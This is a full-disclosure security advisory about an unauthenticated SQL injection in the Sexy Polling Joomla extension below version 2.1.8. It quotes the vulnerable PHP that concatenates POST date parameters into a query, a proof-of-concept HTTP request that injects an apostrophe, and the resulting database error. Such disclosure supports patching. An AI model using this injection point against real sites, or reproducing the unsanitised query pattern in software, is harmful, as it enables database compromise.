full-disclosure - [FD] [AIT-SA-20220208-01] SexyPolling SQL Injection

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Message-ID: <67e33945ce5b43859a7e637e1ef678c5@ait.ac.at>
Date: Tue, 19 Apr 2022 15:24:36 +0000
From: sec-advisory <sec-advisory@....ac.at>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] [AIT-SA-20220208-01] SexyPolling SQL Injection

SexyPolling SQL Injection

====================

| Identifier: | AIT-SA-20220208-01|
| Target: | Sexy Polling ( Joomla Extension) |
| Vendor: | 2glux |
| Version: | all versions below version 2.1.8 |
| CVE: | Not yet |
| Accessibility: | Remote |
| Severity: | Critical |
| Author: | Wolfgang Hotwagner (AIT Austrian Institute of Technology) |

Summary

========

[Sexy Polling is a Joomla Extension for votes.](https://2glux.com/projects/sexypolling). In all versions below 2.1.8 an unauthenticated attacker could execute arbitrary SQL commands by sending crafted POST-parameters to poll.php.

Vulnerability Description

====================

In the vote.php file, the POST parameters min_date and max_date are insufficiently checked and sanitized. An attacker can use these parameters to send payloads for sql injections.

In lines 74 and 75 in the *site/vote.php* code, the parameters are assigned without being checked:

```
$min_date_sent = isset($_POST['min_date']) ? $_POST['min_date'].' 00:00:00' : '';
$max_date_sent = isset($_POST['max_date']) ? $_POST['max_date'].' 23:59:59' : '';
```

These are later used unfiltered by the WHERE clause:

```
$query_toal = "SELECT
COUNT(sv.`id_answer`) total_count,
MAX(sv.`date`) max_date,
MIN(sv.`date`) min_date
FROM
`#__sexy_votes` sv
JOIN
`#__sexy_answers` sa ON sa.id_poll = '$polling_id'
AND
sa.published = '1'
WHERE
sv.`id_answer` = sa.id";

//if dates are sent, add them to query
if ($min_date_sended != '' && $max_date_sended != '')
$query_toal .= " AND sv.`date` >= '$min_date_sended' AND sv.`date` <= '$max_date_sended' ";
```

Proof Of Concept

==============

To check a system for vulnerability, modify the POST request so that the min_date parameter contains a single apostrophe.

HTTP-Request:
```
POST /components/com_sexypolling/vote.php HTTP/1.1

Host: joomla-server.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
HTTP_X_REAL_IP: 1.1.1.1
Content-Length: 193
Origin: joomla-server.local
Connection: close
Referer: joomla-server.local/index.php/component/search/
Cookie: 3f7d6b4d84916c70a46aaf5501d04983=iuddgl57g75v5gruopdqh0cgd6

polling_id=1&answer_id[]=3&dateformat=digits&min_date=2021-12-07'&max_date=2021-12-14&country_name=-&country_code=-&city_name=-&region_name=-&voting_period=24&ae9a061e2170d406fb817b9ec0c42918=1
```

The HTTP-Resoonse contains a mysql error:

```
HTTP/1.1 500 Internal Server Error
Date: Wed, 15 Dec 2021 10:27:40 GMT
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: PHPSESSID=39p4ql2oj0b45opsf6p105tfcf; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: sexy_poll_1=1639564060; expires=Thu, 16-Dec-2021 10:27:40 GMT; Max-Age=86400; path=/
Content-Length: 4768
Connection: close
Content-Type: application/json

<!DOCTYPE html>
<html lang="en-gb" dir="ltr">
<head>
<meta charset="utf-8" />
<title>Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near &#039;00:00:00&#039; AND sv.`date` &lt;= &#039;2021-12-14 23:59:59&#039;&#039; at line 12</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet" />
```

Vulnerable Versions
================
All versions below version 2.1.8

Tested Versions
=============
Sexy Polling ( Joomla Extension) 2.1.7

Impact
======
An unauthenticated attacker could inject and execute SQL commands on the database.

Mitigation
=========
Sexy Polling 2.1.8 fixed that issue

Vendor Contact Timeline
====================
| 2021-12-14 | Unable to find a contact of the vendor |
| 2021-12-15 | Contacting Joomla Security Strike Team |
| 2021-12-29 | Answer from the Joomla Security Strike Team that they will investigate the problem. |
| 2022-01-01 | Sexy Polling releases 2.1.8 |
| 2022-04-08 | Public Disclosure |

*We would like to note that the communication about this issue was weak. The contact-form of the maintainer of sexy_polling was broken and there was no other contact published. The Joomla Security Strike Team let us know that they will investigate, but they did not send any updates about the progress.*

Advisory URL
===========
[https://www.ait.ac.at/ait-sa-20220208-01-sexypolling](https://www.ait.ac.at/ait-sa-20220208-01-sexypolling)
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